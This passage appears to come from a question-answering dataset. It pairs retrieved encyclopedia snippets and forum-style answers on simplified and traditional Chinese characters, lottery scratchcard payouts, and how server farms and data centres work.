subjected to influence coming from other Chinese dialects such as Teochew, Cantonese, Hakka, and Hainanese, as well as English and Malay. Writing system In Singapore, simplified Chinese characters are the official standard used in all official publications as well as the government-controlled press. While simplified Chinese characters are taught exclusively in schools, the government does not officially discourage the use of traditional characters. Therefore, many shop signs continue to be written in traditional characters. Menus in hawker centres and coffeeshops are also usually written", "character simplification, eventually arriving at the same set of simplified characters as mainland China. Before 1969, Singapore generally used traditional characters. From 1969 to 1976, the Ministry of education launched its own version of simplified characters, which differed from that of mainland China. But after 1976, Singapore fully adopted the simplified characters of mainland China. Chinese writing style Before the May Fourth Movement in 1919, Singapore Chinese writings were based on Classical Chinese. After the May Fourth Movement, under the influence from the New Culture Movement in China, the Chinese schools in Singapore began to follow the new education reform", "had 40 differences. In 1974 a new Table was published, and this second table was revised in 1976 to remove all differences between simplified Chinese characters in Singapore and China. Although simplified characters are currently used in official documents, the government does not ban the use of traditional characters. Hence, traditional characters are still used in signs, advertisements and Chinese calligraphy, while books in both character sets are available in Singapore. Malay language Bahasa Melayu, the standardised form of the Malay language, is the national language of Singapore and one of its official languages. It is written in a Roman", "in modern Chinese but in old Chinese it was originally a near demonstrative (\"this\"); the modern Chinese for \"this\" is \"這\" (pinyin: zhè).\nBeyond grammar and vocabulary differences, Classical Chinese can be distinguished by literary and cultural differences: an effort to maintain parallelism and rhythm, even in prose works, and extensive use of literary and cultural allusions, thereby also contributing to brevity.\nThe Muslim Hui people developed Jingtang Jiaoyu for representing Arabic sounds with Chinese characters. Classical Chinese has had influence of Jingtang Jiaoyu. Rather than using Standard Chinese grammar, they use the grammar of their dialect and Classical Chinese to read", "Written Chinese Structure Written Chinese is not based on an alphabet or a compact syllabary. Instead, Chinese characters are glyphs whose components may depict objects or represent abstract notions. Occasionally a character consists of only one component; more commonly two or more components are combined to form more complex characters, using a variety of different principles. The best known exposition of Chinese character composition is the Shuowen Jiezi, compiled by Xu Shen around 120 AD. Since Xu Shen did not have access to Chinese characters in their earliest forms, his analysis cannot always be taken as", "form the de facto standard for written Chinese, however there is an increasing presence of Simplified Chinese characters particularly in areas related to tourism. In government use, documents written using Traditional Chinese characters are authoritative over ones written with Simplified Chinese characters. India The Constitution of India (part 17) designates the official language of the Government of India as English as well as Standard Hindi written in the Devanagari script.\nThe Eighth Schedule of the Indian Constitution lists 22 languages, which have been referred to as scheduled languages and given recognition, status and official encouragement. In addition, the Government of", "May 1964, the Language Reform Committee published the List of Simplified Chinese Characters (simplified Chinese: 简化字总表; traditional Chinese: 簡化字總表; pinyin: Jiǎnhuà zì zǒng biǎo) to address the defects found in the Chinese Character Simplification Scheme.\nIt is divided into three parts. The first part records 352 simplified characters that are not used as radicals; The second part records simplified characters that may be used as radicals and 14 simplified radicals; The third part records 1,754 simplified characters that are formed according to its radicals. There are a total of 2,238 characters (realistically only 2,236 characters, as the characters 签 qiān and", "Jingzhuan Shici Background Modern Chinese and Classical Chinese are distinctly different. Even though some of the writing may be the same, grammar, sentence structure and meanings of words in their cultural context changed over time and may make Chinese classics difficult if not impossible to understand. The Book of Expletives serves as an interpretation of classical Chinese texts in modern terms.", "of other traditional characters, but is written 饣 in simplified characters. The difference between the traditional and simplified version of the same character can therefore lie solely in the visual appearance of the radical. One example is the character for yín \"silver\"; the traditional character is 銀, whilst in the simplified 银 only the radical is altered. Another example is the character for yǔ \"language\"; the traditional character is 語, whilst in the simplified 语 only the radical is altered. The same characters (or characters with a common ancestor) are used not only in China, but in Japan as well." ]

[ "If they sell you on the idea having the chance to win the jackpot then end up not throwing that ticket into the open world, to my understanding, that would be a form a false advertisement", "In Austria, and probably the rest of the EU, they have to list the potential winnings on the back of the Scratch-off ticket.\n\nx times 2€\n\nx times 50€\n\nx times 1000€\n\nand so on. It is the breakdown for a batch of tickets with the amount in circulation, for example 100.000 tickets. So it will say that for 100.000 tickets there are 100 tickets that get you 1000€ etc.", "Your state may have a site like this one Missouri has... _URL_0_\nThe payouts are predetermined and are not randomized." ]

[ "of gambling due to their low cost and the opportunity to win instantly, as opposed to waiting for a drawing like many lotteries. There is a trend towards more expensive scratchcards (20-50 USD) that have prizes in the millions of dollars. However, many such \"instant\" tickets sold in the US, especially in Massachusetts and New York, do not pay top prizes \"instantly,\" but rather over many years, with no cash option.\nThe popularity of lottery scratchcards has been increasing at a greater rate than any other form of lottery. Predictability In the 21st century there have been attempts to increase", "However, unlike scratch-off tickets where the winning tickets are all predetermined and top prizes may be sold before a player makes their purchase, the Lottery's computer randomly generates all Lucky Line tickets in real time. All Lucky Lines tickets have an equal chance of winning the top prize regardless of what tickets were sold in the past. Because Lucky Lines is an instant win game, tickets cannot be cancelled once purchased.\nWith the introduction of Mega Millions, Lucky Lines ended in 2013. Lucky Money Lucky Money was drawn each Tuesday and Friday during a live broadcast at 11:15 p.m. ET. Two ball", "when purchasing Powerball, Mega Millions, and/or Lotto Texas tickets when playing, instead of after winning (see below). Scratch tickets The Texas Lottery began operations on May 29, 1992 with sales of Lone Star Millions. By the game's end on February 1, 2004, it set a world record for first-day sales (23.2 million tickets) and first-week sales (102.4 million tickets), There were 6 prizes of $1 million (annuity-only) and 479 of $10,000 each.\nScratch tickets, most changing frequently, cost $1 to $50 each. The Texas Lottery is the only U.S. lottery to offer $50 scratch-off tickets.\nPrizes have included not only cash (from", "as the EuroMillions draw and offers players the chance to win one of five prizes from £10 up to £1 million. The game works in a similar way to Lotto HotPicks whereby players have to decide how many numbers they are going to match. If they do not successfully match all of their selected numbers, then no prize is awarded. Scratchcards As well as tickets for the draw games, the National Lottery also sells scratchcards. Introduced in 1995, they are small pieces of card where an area has been covered by a thin layer of opaque latex that can be", "2.5 – and players who buy cards unaware of the low return offset these losses, so the lottery still makes a profit. Second-chance sweepstakes Many state lotteries also run a second-chance sweepstakes in conjunction with the retail sale of state lottery scratchcards in an effort to increase consumer demand for scratchcards and to help control the litter problems associated with the improper disposal of non-winning lottery tickets. Since lottery tickets and scratchcards are considered in the United States to be bearer instruments under the Uniform Commercial Code, these scratchcard promotions can be entered with non-winning tickets that are picked up", "with each ticket sold until a jackpot winning ticket is generated, at which point the jackpot resets to a base amount. Claiming a winning ticket Pennsylvania Lottery retailers can pay prizes up to $2,500. (Until June 30, 2008, the maximum on such tickets was $500.) Claiming a prize of $600 or more requires filling out a standard claim form and sending it to Lottery headquarters. For instant games that make annuity payments, as well as the top prizes in Cash 5, etc. a claim should be filed at an area lottery office. For Mega Millionaire or Powerball jackpots, a claim", "with either game to sell tickets for both beginning January 31, 2010. As of April 13, 2011, Mega Millions is available in 43 jurisdictions, with Powerball in 44; both games are available in 42 jurisdictions.\nInstant lottery tickets, also known as scratch cards, were introduced in the 1970s, becoming a major source of US lottery revenue. Some jurisdictions have introduced keno and/or video lottery terminals (slot machines in all but name).\nOther major US lotteries include Cashola, Hot Lotto, and Wild Card 2, some of MUSL's other games. (Cashola ended May 2011.)\nWith the advent of the Internet it became possible for people", "it launched its first scratchcards. Since then, the National Lottery has expanded its product line to include the Lotto family of games, television bingo, televised game shows, regular \"Millionaire Raffles,\" participation in the transnational EuroMillions lottery, and a daily €1 million game called Daily Million.\nNational Lottery tickets and scratchcards are sold by a network of over 3,700 agents around the country. In March 2009, the National Lottery began offering online sales of instant-win games, as well as key draw games such as Lotto and EuroMillions. Internet sales increased by 43 percent in 2012, to €8.7 million, with around 40,000 players", "buy tickets with 24 randomly generated numbers, and can win prizes by matching the numbers drawn on a lunchtime TV show in a variety of patterns, with a prize of €10,000 for a full house. An additional €10,000 Snowball prize goes to someone who achieves a full house on or before the 45th number drawn. If not won, the Snowball prize rolls over to the next draw, allowing one additional number each time. In 2012, Telly Bingo sales were €17.3 million. Scratchcard Games The National Lottery had a total of 30 scratchcard games on offer during 2012, ranging in price", "Pingit From July 2015 Barclays included a function in their Pingit app to allow the purchase of tickets for the National Lottery and Euromillions. Only lucky dip lottery tickets can be purchased currently. Small winnings are paid directly into the Pingit account within one day. Olympic Lottery Following the success of London's bid to host the 2012 Summer Olympics, Olympic Lottery Scratchcards were launched on 27 July 2005 under the brand name \"Go for Gold\". 28% of the price of £1 went to the Olympic Lottery Distribution Fund, and the scratchcards were intended to raise £750,000,000 towards the cost of", "the mid-1990s, the first Bingo scratcher was introduced; each Bingo ticket cost $2. Eventually, higher-priced scratchers (including $3, $5, and $10) with larger prizes were introduced. Currently, the most expensive scratchers in common circulation are $30 each. All $20 and up games currently in circulation and most $10 games offer a top prize of at least $1 million (annuitized). Winners of scratcher annuity prizes of at least $1 million can choose cash (just as in the top prizes in Powerball, Mega Millions, or Cash4Life). Print 'n Play The Lottery also offers Print 'n Play games. As with traditional Lottery games,", "in an update in 2002 after ticket sales decreased. Lotto is by far the most popular draw, with around 15 to 45 million tickets sold each draw. The most winners for a single jackpot was 133 in January 1995, each player winning £122,510.\nIn the draw, six numbered balls are drawn without replacement from a set of 59 balls numbered from 1 to 59 (formerly 1 to 49 until October 2015). A further Bonus Ball is also drawn, which affects only players who match five numbers.\nThere are six prize tiers, which are awarded to players who match at least two of", "him.\nThe price of the lottery ticket has been between 25 and 50 Swedish kronor, and in March 2005, one billion tickets had been sold since the beginning. The surplus is given to Swedish sport associations, a fact which is commonly believed to have increased the penetration of the show. 31.5 million Swedish kronor (approx £2.5 million) is the highest won prize ever in the history of Bingolotto. It was won by a woman from Vara, Sweden.\nLeif \"Loket\" Olsson hosted the show from 1989 to 1999 (and for a short period in 2004). Since Olsson's retirement, the show has been hosted", "million; however, the game's initial jackpot was $15 million; the 13 members chose to augment the jackpot with funds from Hot Lotto, whose final jackpot was not won.\nWhile Hot Lotto used a random number generator during most of its run (including the December 2010 drawing whose jackpot was \"won\" by Eddie Tipton, a MUSL employee), Lotto America is believed to be drawn in Tallahassee, Florida (even though the Florida Lottery does not offer the game), using physical ball machines and numbered balls; one machine draws the five main numbers while another is used to draw the \"Star Ball\". As of", "years.\nWinners of a Mega Millions (on an Illinois Lottery ticket) or a Lotto jackpot must choose the cash option within 60 days of the drawing if the cash option is desired (a Powerball jackpot winner on an Illinois Lottery ticket has 60 days after claiming to make their choice). Purchasers must be at least 18 years of age to purchase an Illinois Lottery ticket.\nIn December 2016, a Chicago Tribune investigation found that the Illinois Lottery simply suspended many of its most expensive games before awarding its largest prizes. While many lotteries across the United States do not award all its", "of periodic payments. New York Lotto, begun in 1978, which has the lowest payout (of each dollar wagered no more than 40 cents are paid to players) of a U.S. lottery game. (In the 2011-12 fiscal year, sales of New York Lotto were down almost 15% from the previous 12 months; its minimum rollovers are now only $300,000 annuity.) A claim on or after May 1, 2013 of an annuitized scratch-game prize (including \"lifetime\" prizes) allows the winner to choose lump sum in lieu of the periodic payments ; the New York Lottery had been phasing in scratch games with", "on the Lottery's network of stations. Contestants won a chance to play the game (and $100) if a scratch ticket contained three \"TV\" symbols; if not chosen for the main game, would win at least $500 from a pool of money split between them and the other 54 players not chosen. Five contestants would play the game, consisting of four or five rounds where they would choose cash prizes hidden behind the letters Wisconsin Lottery Moneygame, which were set up in the style of the Wheel of Fortune gameboard, but with reversed play. Here, contestants hit a plunger to light", "option. Non-winning tickets can be entered in a monthly draw for $100 a week, also without a cash option. The \"second chance\" drawings have become controversial for a second reason; if a potential winner is disqualified, the $100-per-week prize is not paid.\nWeekly Grand is a rare example of a pick-5 game with an annuitized prize, as well as an increasingly rare example of any lottery game without a cash option. (A game with a similar top prize was available in Arizona's Weekly Winnings; however, it had a cash option of $52,000 \"taxes paid\" in lieu of the weekly payments.) Lotto", "minimum jackpot was $1,000,000; rollovers were at least $50,000 per drawing. A jackpot winner receives cash (although not necessarily in one payment); however, the \"pre-withholding\" amount must be declared for income tax purposes.\nDepending on where a Hot Lotto ticket was purchased, winners (jackpot or otherwise) have from 90 days to 1 year in which to claim their prize.\nThe final Hot Lotto drawing did not produce a jackpot winner; its 13 members agreed to use the funds to augment the initial jackpot for Lotto America. The first jackpot for the game will be $15 million (annuity with cash option); Lotto America's", "of 30 to 40 scratch-offs featuring Louisiana, holiday, casino, and other themes are introduced yearly. From 1 million to 3 million tickets of each game are printed, with new games launched monthly. Scratch-off prizes have varied from a free ticket to $1 million. The Lottery offers $1, $2, $3, $5 and $10 scratch-off games. In general, higher priced tickets have higher prize values, lower overall odds of winning, more chances to win on a ticket, and higher payout percentages. When the last top prize in a game is claimed, sales cease, and the game is closed.", "registered to play games online.\nIn 2012, total National Lottery sales were €734 million. A total of €406 million was distributed in prizes and €225 million was distributed to good causes.\nAll cash prizes won in National Lottery games are paid as tax-free lump sums. All prizes in Lotto, EuroMillions, and Daily Million games must be claimed within 90 days of the applicable drawing dates. No minor under the age of 18 may purchase tickets for or claim prizes in any National Lottery game. Winners have the right to remain anonymous. Lotto Lotto, which began in March 1988, is the National Lottery's", "matching two numbers now awards a free ticket for the next draw, and the minimum jackpot was raised to $5 million. Additionally, a new \"guaranteed\" $1 million raffle prize is awarded during each drawing. Some draws may have smaller prizes in this category alongside the main $1 million; these are marketed as a \"Superdraw\". Largest jackpots Before the June 2004 increase in ticket prices, the largest Lotto 6/49 jackpot was $26.4 million, on September 2, 1995.\nThe largest Lotto 6/49 jackpot, and the largest single jackpot in Canadian lottery history, was drawn on October 17, 2015 for a jackpot of $64", "jackpot-winning tickets had been confirmed (Illinois, Kansas, and Maryland).\nMega Millions' third-largest jackpot, $648 million (second largest won), was for the December 17, 2013 drawing. Two winning tickets, one each from California and Georgia, were sold. The holder of the Georgia ticket claimed the next morning; they selected the cash option, which amounted to $173,819,742.50 before withholdings. The holder of the California ticket claimed on January 3, 2014. (The California ticket holder received an equal share, but potentially a larger cash-option amount, as California lottery winnings are exempt from state income tax.)\"\nThe July 24, 2018 drawing produced the fourth-largest jackpot (pending", "there were 20 spins per week, not all of which were televised.) Later, instead of the $100 winners qualifying for the draw, qualifying tickets had their own symbol; as more of these tickets were printed, the chance of qualifying for the draw became 1 in 4,000. During a point in the Geoff Edwards run, a bonus drawing was also featured, in which a winning scratch-off ticket was drawn at random, and the person who mailed it in won a car.\nUltimately, for participation in Aces High or the Big Wheel, the lottery produced a Big Spin scratcher. This scratcher has", "in U.S. lottery history. The winner of the enormous prize was identified as a 24-year-old Wisconsin man named Manuel Franco.\nOn August 23, 2017, the owner of a Powerball ticket sold in Chicopee, Massachusetts won more than $750 million, one of the largest prizes in the lottery's history.\nOn January 13, 2016, the world's largest lottery jackpot, an annuity of approximately $1.586 billion, was split among three Powerball tickets in Chino Hills, California, Melbourne Beach, Florida and Munford, Tennessee, each worth $528.8 million. Since there is no income tax in Florida or Tennessee (and California does not tax lottery winnings), the cash", "drawing machines and numbered balls (which Oklahoma purchased from Missouri after the latter switched to computerized (random number-generated) drawings. When Oklahoma joined Hot Lotto in 2008, that game had already switched to an RNG). On September 20, 2009, Oklahoma changed its two in-house games to RNG drawings. Mega Millions (usually drawn in Georgia) and Powerball (drawn in Florida) have always used traditional lottery machines and numbered balls. Claiming winnings Pick 3 and Cash 5 winners must claim prizes within 90 days of the drawing date. Lucky for Life, Mega Millions, Lotto America, and Powerball winners must claim within 180 days", "some scratch cards in the UK are still sold even after the jackpots have already been won. Research by The Guardian newspaper found that the £250,000 Gold game, which advertises 15 top prizes worth a quarter of a million pounds each, were still being sold after all 15 jackpot had been claimed. \nThis happened again in May 2018, in which the 20X Cash Scratchcard was still being sold after the last jackpot prize was claimed. Cards hiding confidential information Scratchcards can also be used to distribute confidential information, without any element of chance or skill. A common example is the", "All picks are computer generated \"quick picks\", as the first half of the game is won by the player being \"dealt\" a winning poker hand on their ticket. (Pair of Jacks or better, grand prize $5,000). Regardless of a win or loss on the instant game, the player's ticket is eligible for the nightly draw, where the player's cards must match at least 2 of the drawn cards in order to win. (Grand prize $250,000). Poker Lotto began selling tickets on August 25, 2013. Hoosier Lotto Hoosier Lotto was the first Indiana lottery. It is played on", "of their Florida Lotto ticket and multiply non-jackpot prizes by up to 5x. Lucky Lines Launched On October 11, 2010, the Florida Lottery introduced Lucky Lines. Lucky Lines is an instant win game where players elect how much to wager on each ticket from $1, $2, $3, or $5. The Lottery computer then produces a 7x7 grid of numbers from 1 to 49 with the player numbers distributed throughout. If the player's 7 numbers form a straight line that ticket is a grand prize winner and is paid from $400,000 to $3,000,000 depending on the amount of the wager for", "each time the Lotto jackpot rolled over, with as many as 250 raffle winners in the event of a quadruple rollover. From 10 October 2015, the prize structure was changed, with 20 prizes of £20,000 and one prize of £1,000,000 with each Lotto draw. The Millionaire Raffle was discontinued after 17 November 2018 when the Lotto draw rules changed. Other ways to play As well as by purchasing a ticket at a shop, tickets can be purchased other ways. Online All National Lottery games can be played online after registering. There are two ways of playing the lotto online.\nDirect" ]

[ "A server farm is a place where (typically) one company has a bunch of servers available for one specific range of tasks, usually where these tasks are split out into a bunch of smaller bits that can be given out to any available server. This means you can start out testing in a lab with four computers and then scale up to four hundred without much extra work.\n\nThe way it works specifically is, more or less:\n\nI add a new computer to the server farm. I connect it to the network and turn it on. It will start out looking for something it can boot from: hard drive, DVD, USB, just like your home computer. But it can also boot off the network, if there's a special server around advertising itself as a boot option. This is called PXE.\n\nYou can run all the computers directly off PXE. Or, much more commonly, you can install an operating system to the local hard drive instead.\n\nSo far, so not bad, right? You've got Linux running on all your computers without having to insert a ton of USB drives everywhere. What good does that do you?\n\nA lot, in fact. You don't just install the default operating system; you install the operating system along with a service that advertises to other computers that it's alive and able to run stuff.\n\nUsually you'll have a cluster of a few computers (\"master servers\") that you've set up specially that only determine what everything else should be running. You can use DNS to help new computers find out where those are located, and then they can make direct requests to them over the network to say they're running, describe what resources they have, get new tasks, and report that a task is complete. And developers can connect to those master servers to schedule new tasks or change how things should be run.\n\nIn the past, I've looked at [DCOS](_URL_0_) for this sort of thing.\n\nIt's complex, but it starts paying off somewhere between ten and fifty servers on average.", "Simplest way to think of it. I need a server. However physically putting a server somewhere is not easy. There's power requirements. Heat is an issue so there's air conditioning needs. You want fantastic internet. You need to make sure the place is physically secure. You need to make sure of there are hardware issues like a bad hard drive someone is always there to physically change it. \n\nIt is much easier if I make a business out of putting a bunch of servers in one ares, secure it, get it the right amount of electricity efficiently, get it fantastic internet, make it cool, hire 24/7 staff. Basically I just opened a server farm. \n\nGoogle, Facebook, Amazon they all are so big that they actually have their own server farms in their own buildings. Google runs a few farms in different parts of the world to make sure that it only runs during cold months so it can use natural sources for cooling because cooling costs too much. Some of the computers are put in a special non conductive liquid to help with cooling. Etc. It's cool stuff." ]

[ "another farm, or provide functions to another farm. Each farm has its own central configuration database, which is managed through either a PowerShell interface, or a Central Administration website (which relies partly on PowerShell's infrastructure). Each server in the farm is able to directly interface with the central configuration database. Servers use this to configure services (e.g. IIS, windows features, database connections) to match the requirements of the farm, and to report server health issues, resource allocation issues, etc... Web applications Web applications (WAs) are top-level containers for content in a SharePoint farm. A web application is associated primarily with", "equipped with air conditioning devices. Clusters A server farm or server cluster is a collection of computer servers maintained by an organization to supply server functionality far beyond the capability of a single device. Modern data centers are now often built of very large clusters of much simpler servers, and there is a collaborative effort, Open Compute Project around this concept. Appliances A class of small specialist servers called network appliances are generally at the low end of the scale, often being smaller than common desktop computers. Energy consumption In 2010, data centers (servers, cooling, and other electrical infrastructure) were", "For server appliances A server appliance is a computing entity that delivers predefined services through an application-specific interface with no accessible operating software. In order to develop a true server appliance, the end-user must be shielded from managing the solution as a general purpose server.\nAn element manager routinely audits the operational condition of core elements, including CPUs, power supplies and disk drives. In the event of hardware or software malfunctions, crashes, runtime errors and system boot failure, the element manager phones home and automatically generates a maintenance request. The use of standards-based mechanisms such as SNMP and Syslog ensures full", "Server (computing) In computing, a server is a computer program or a device that provides functionality for other programs or devices, called \"clients\". This architecture is called the client–server model, and a single overall computation is distributed across multiple processes or devices. Servers can provide various functionalities, often called \"services\", such as sharing data or resources among multiple clients, or performing computation for a client. A single server can serve multiple clients, and a single client can use multiple servers. A client process may run on the same device or may connect over a network to a server on a", "Over time, the server accumulates usage patterns and statistics of various service providers and stored procedures running on each KSP server in the farm. This information is used by the server to determine how to automatically deploy additional service providers and stored procedures. For example, if the Keyword Forecast provider is being used heavily in the server farm and the providers running on machine \"A\" are used lightly, the server will automatically deploy the Keyword Forecast provider to machine \"A\" and route requests to that machine to balance the load for the Keyword Forecast provider.\nWhen a client application calls a", "administration interface. A farm can include multiple application servers, running a mix of Linux, Windows and Web servers, and the administrator can configure load balancing between them based on criteria such as processor load, memory usage, number of open sessions or random distribution. Ulteo states that a single farm can serve up to 50,000 users and more.\nAn SSL gateway is available to deploy applications over the Internet.\nBesides the classic application delivery scenario, OVD can also be integrated into web-based document management platforms such as Microsoft SharePoint. Clicking a file in the portal will then open it with an application published", "Daily build A daily build or nightly build is the practice of completing a software build of the latest version of a program, on a daily basis. This is so it can first be compiled to ensure that all required dependencies are present, and possibly tested to show no bugs have been introduced. The daily build is also often publicly available allowing access to the latest features for feedback.\nIn this context a build is the result of compiling and linking all the files that make up a program. The use of such disciplined procedures as daily builds is particularly", "server, a cloud server, is the hub of the KSP server farm. When a KSP server is added to the server farm via the cloud server, all available keyword service providers and stored procedures are dynamically discovered and registered with the server. Any changes in the availability of the KSP server, as well as all its running service providers and stored procedures, are discovered and registered automatically with the server.\nThe cloud server distributes accesses to services running on a KSP server farm through its load balancer provider. The default implementation of the load balancer provider uses a round-robin scheduling approach.", "serving from database hosting capability. (Usually web hosts use clustered hosting for their shared hosting plans, as there are multiple benefits to the mass managing of clients). Grid hosting This form of distributed hosting is when a server cluster acts like a grid and is composed of multiple nodes. Host management The host may also provide an interface or control panel for managing the Web server and installing scripts, as well as other modules and service applications like e-mail. A web server that does not use a control panel for managing the hosting account, is often referred to as a", "also able to build and schedule sequences by combining and altering basic operations. The software is also able to manipulate data maps, real-time logging and access an open plant data in the OpenFarm database. All software is available under the MIT license and is available on GitHub. Documentation The documentation for FarmBot Genesis consists of hardware and software documentation, a farming database and support forums. A wiki, forum and documentation provide hardware and software documentation including assembly instructions, bill of materials, troubleshooting, documentation of past iterations and future design plans. OpenFarm is a free and open collaboratively written database of", "to configuring new roles, Server Manager gathers together all of the operations users would want to conduct on the server, such as, getting a remote deployment method set up, adding more server roles etc., and provides a consolidated, portal-like view about the status of each role. Updates One Service Pack was released for Windows Server 2008. Because Windows Server 2008 is based on the Windows Vista Service Pack 1 kernel, the RTM release is considered to be Service Pack 1; accordingly, the service pack is called Service Pack 2. Announced on October 24, 2008, this service pack contains the same changes", "to gather data to take into account factors such as age of the plant and local weather conditions from both local sensors and external data from the internet.\nThe FarmBot Genesis performs different tasks through automatically attaching different tools to a universal tool mount, including a seed injector, a watering nozzle and a tool to bury weeds. The machine is able to weed the planted area using the weed suppressor using a camera to identify weeds by comparing all plants in the area to the locations of the planted seeds.\nFarmBot Genesis is controlled through a web based interface allowing remote access", "Harvest (software) Features Harvest offers time tracking, invoicing, expense tracking, and time-based reporting. Users can send automated payment reminders from the software if clients haven't paid an invoice on time. This is a \"less stressful option for managers who hate dunning their customers.\" Early Adoption of Web Technology Harvest was one of the first software as a service applications to be built on the Ruby on Rails framework, and is listed as one of the most prolific by its creators. It was also one of the first businesses to integrate with Twitter, enabling its users to track time via tweets.", "is also known as live, particularly for servers, as it is the environment that users directly interact with.\nDeploying to production is the most sensitive step; it may be done by deploying new code directly (overwriting old code, so only one copy is present at a time), or by deploying a configuration change. This can take various forms: deploying a parallel installation of a new version of code, and switching between them with a configuration change; deploying a new version of code with the old behavior and a feature flag, and switching to the new behavior with a configuration change that", "farm materials. The workflow is a steady cycle of planting and harvesting right through the growing season, and usually comes to an end in the cold winter months.\nA somewhat larger market garden operation, ranging from 10 to 100 acres (40,000 to 400,000 m²), may be referred to as intensive mixed vegetable production, although the essential business and farming tasks are the same. Such operations are often run by a full-time farmer or farm family, and a few full-time employees. The tractor is relied upon for many tasks, and manual labor requirements, particularly for setting transplants and harvesting, are often significant,", "for queuing, scheduling, and submitting jobs to other machines in the cluster. The master node also provides the mechanisms to manage the entire system. This includes adding virtual machines, monitoring the status of virtual machines, hosting the repository, and transferring virtual machines when necessary. Much of this is possible due to a monitoring subsystem which gathers information such as host status, performance, and capacity use. The system is highly scalable and is only limited by the performance of the actual server. Hypervisor enabled-hosts The worker nodes, or hypervisor enabled-hosts, provide the actual computing resources needed for processing all jobs submitted", "maintenance of the farming equipment. In addition, he meets weekly with the interns to discuss the work needed to keep the farm running smoothly.\nUnder the direction of the farm advisor, the interns manage all aspects of the farm. These student farmers cultivate and maintain the fields, bring in the weekly harvest, determine how much of each vegetable will be in that week's share, and post a description of the share in the pickup shed. They are present when shareholders come to pick up their produce, replenishing the various vegetables as the bins run low, and are available", "individual servers and developing a model for a data center’s energy demand using these measurements. By analysing every server in a data centre, server power management software can identify servers that can be removed. It also enables servers to be virtualized, processes to be consolidated to a smaller number of servers, and servers with a predictable cyclical power demand to be fully powered down when not in use. Active power management features are also included which put remaining servers into their lowest power state that allows instant wake-up on demand when required.\nEnergy efficiency benchmarks, such as SPECpower, or", "support land-based teaching, research and community engagement\". Farm facilities The farm consists of two small buildings, which can serve a variety of purposes, including as classroom, office, kitchen, storage, and processing areas, and it is surrounded by a coastal hemlock forest. Two tractors and other tools are stored in several sheds on site, and two glass greenhouses and three polytunnels offer to extend the seasons and further spread the crops. A 300 m³ composting facility can process the farm's and other local produce wholesalers' organic waste and turn it into soil fertilizer. Two trailers offer staff accommodation to take care", "backup\") that the client computers be backed up one at a time—as initiated by the backup server program.\nWhat is described in the preceding paragraph is the \"two-tier\" configuration (in one application's diagram, the second-tier backup server program is named \"server\" preceded by the name of the application, and first-tier \"agents\" are backing up interactive server applications). That configuration controls the backup server program via either an integrated GUI or a separate Administration Console. In some client-server backup applications, a \"three-tier\" configuration splits off the backup and restore functions of the server program to run on what are called media servers—computers", "Service (SaaS) offering. Platform as a service (PaaS) Platform as a service is cloud computing service which provides the users with application platforms and databases as a service. This is equivalent to middleware in the traditional (non-cloud computing) delivery of application platforms and databases. Infrastructure as a service (IaaS) Infrastructure as a service is taking the physical hardware and going completely virtual (e.g. all servers, networks, storage, and system management all existing in the cloud). This is the equivalent to infrastructure and hardware in the traditional (non-cloud computing) method running in the cloud. In other words, businesses", "automation tools can help lower capital and power and cooling costs by tracking and reclaiming virtual machines, making IT staff more efficient by standardizing and streamlining manual processes, and speed the process of provisioning IT resources by enabling business users the ability to self-provision predefined IT resource. What HP Cloud Service Automation Does The function of HP Cloud Service Automation is to accelerate the speed of deployment of application-based services across a hybrid cloud delivery environment. Traditionally, IT staff were required to patch and update physical servers manually. Using HP Cloud Service Automation, IT organizations can update thousands of servers", "Enterprise client-server backup Enterprise client-server\" backup software describes a class of software applications that back up data from a variety of client computers centrally to one or more server computers, with the particular needs of enterprises in mind. They may employ a scripted client–server backup model with a backup server program running on one computer, and with small-footprint client programs (referred to as \"agents\" in some applications) running on the other computer(s) being backed up—or alternatively as another process on the same computer as the backup server program. Enterprise-specific requirements include the need to back up large amounts", "Harvest Moon (video game) Gameplay The game follows a young man charged with maintaining the farm he inherits from his grandfather. The primary objective is to restore and maintain a farm that has fallen into disrepair. The player decides how to allocate time between daily tasks, such as clearing land, planting crops, selling harvests, raising livestock, attending festivals, building relationships with villagers, and foraging.\nFor vegetables to develop, they must receive water each day; lack of water does not kill crops, but prevents them from growing. Animals must be fed once a day to keep them producing. While the only care", "from any location on most internet enabled devices. It uses an online crop database called OpenFarm to create an optimal planting plan based on the size of the adult crop. The precision of the machine makes it suitable for lab conditions. Hardware The Farmbot Genesis is an open source hardware machine and is designed around reproduce-ability and availability of components, it can be created using common tools and processes meaning it is not reliant on a single supplier.\nThe machine uses linear guides in the X, Y, and Z axis including the gantry and custom flat connecting plates that can", "clustering, fail-over, and load-balancing, so developers can focus on implementing the business logic.\nIn the case of Java application servers, the server behaves like an extended virtual machine for running applications, transparently handling connections to the database on one side, and, often, connections to the Web client on the other.\nOther uses of the term may refer to the services that a server makes available or the computer hardware on which the services run. History The term was originally used when discussing early client–server systems to differentiate servers that contain application logic SQL services and middleware servers as distinct from other", "Home Server RTM did not include a mechanism for backing up the server. Power Pack 1 added the ability to back up files stored on the Shared Folders, to an external drive. Users can also subscribe to 3rd-party online services, for a fee. However, there remains no way to back up the installed server operating system. Backing-up of the client backup database is available either manually using the instructions provided by Microsoft on page 24 of this document or can be done using the WHS BDBB add-in written by Alex Kuretz and available from this website. Pricing", "and managing the server itself. Client applications that consume data or manage the server will leverage SQL Server functionality by sending T-SQL queries and statements which are then processed by the server and results (or errors) returned to the client application. For this it exposes read-only tables from which server statistics can be read. Management functionality is exposed via system-defined stored procedures which can be invoked from T-SQL queries to perform the management operation. It is also possible to create linked Servers using T-SQL. Linked servers allow a single query to process operations performed on multiple servers. SQL Server Native", "Farm income Farm income and balance sheet The income statement measures the profitability of a farm business for a particular period of time, usually one year. The balance sheet measures the wealth or financial position of the business at a particular point in time by reporting the farm’s assets, debt, and net worth.\nThe Economic Research Service publishes the income statement and balance sheet of the Nation’s farm sector, and the farm sector financial statement for each state.", "as fixed addresses. Many assemblers offer additional mechanisms to facilitate program development, to control the assembly process, and to aid debugging. Assembler An assembler program creates object code by translating combinations of mnemonics and syntax for operations and addressing modes into their numerical equivalents. This representation typically includes an operation code (\"opcode\") as well as other control bits and data. The assembler also calculates constant expressions and resolves symbolic names for memory locations and other entities. The use of symbolic references is a key feature of assemblers, saving tedious calculations and manual address updates after program modifications. Most assemblers also" ]

